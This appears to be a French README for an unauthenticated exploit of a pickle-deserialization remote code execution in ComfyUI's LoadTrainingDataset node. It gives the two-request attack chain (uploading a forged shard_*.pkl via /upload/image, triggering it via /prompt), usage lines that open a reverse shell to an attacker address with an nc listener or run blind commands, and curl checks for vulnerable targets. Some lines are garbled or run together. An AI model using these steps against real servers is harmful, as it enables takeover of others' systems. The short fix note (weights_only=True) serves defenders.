
Exploit non authentifié pour CVE-2026-68771, une RCE par désérialisation pickle dans ComfyUI. Place un shard malveillant via /upload/image, le déclenche via /prompt, et exécute des commandes ou ouvre un reverse shell.
Exécution de code à distance non authentifiée dans ComfyUI via le nœud LoadTrainingDataset.
LoadTrainingDataset.execute() charge les fragments de jeu de données depuis le répertoire de sortie du serveur avec torch.load(f) et sans weights_only=True. Sur PyTorch < 2.6 (où weights_only vaut False par défaut), un shard_*.pkl forgé exécute son __reduce__ pickle au chargement (CWE-502). ComfyUI est fourni sans authentification, et la route /upload/image (avec type=output) écrit les octets bruts téléversés sans vérification d'extension, de sorte qu'un fichier .pkl peut être déposé puis déclenché en deux requêtes non authentifiées.
0.23.0 sur PyTorch < 2.68188 (non authentifié)Uniquement la bibliothèque standard de Python 3 — aucune dépendance.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
La commande s'exécute sur le serveur ; sa sortie n'est pas renvoyée, utilisez donc --shell pour un shell inversé (ou écrivez dans un chemin accessible en lecture) pour observer le résultat.
Deux requêtes non authentifiées :
Déposer — POST /upload/image avec type=output, subfolder=training_dataset, nom de fichier shard_0000.pkl. La route /upload/image écrit les octets bruts (aucun traitement d'image sur ce chemin), si bien que le pickle est déposé tel quel dans output/training_dataset/shard_0000.pkl. Le __reduce__ du pickle renvoie (os.system, (cmd,)).
Déclencher — POST /prompt avec un workflow : un nœud LoadTrainingDataset (folder_name=training_dataset) relié à un nœud de sortie SaveLatent. Le nœud de sortie force ComfyUI à exécuter LoadTrainingDataset, qui recherche les fichiers et appelle :
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True).weights_only vaut True par défaut et le unpickler restreint rejette os.system.Uniquement pour des tests de sécurité autorisés et à des fins pédagogiques. Utilisez-le uniquement contre des systèmes qui vous appartiennent ou pour lesquels vous avez une autorisation explicite de test.
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
Le __reduce__ du pickle exécute os.system(cmd) pendant la désérialisation.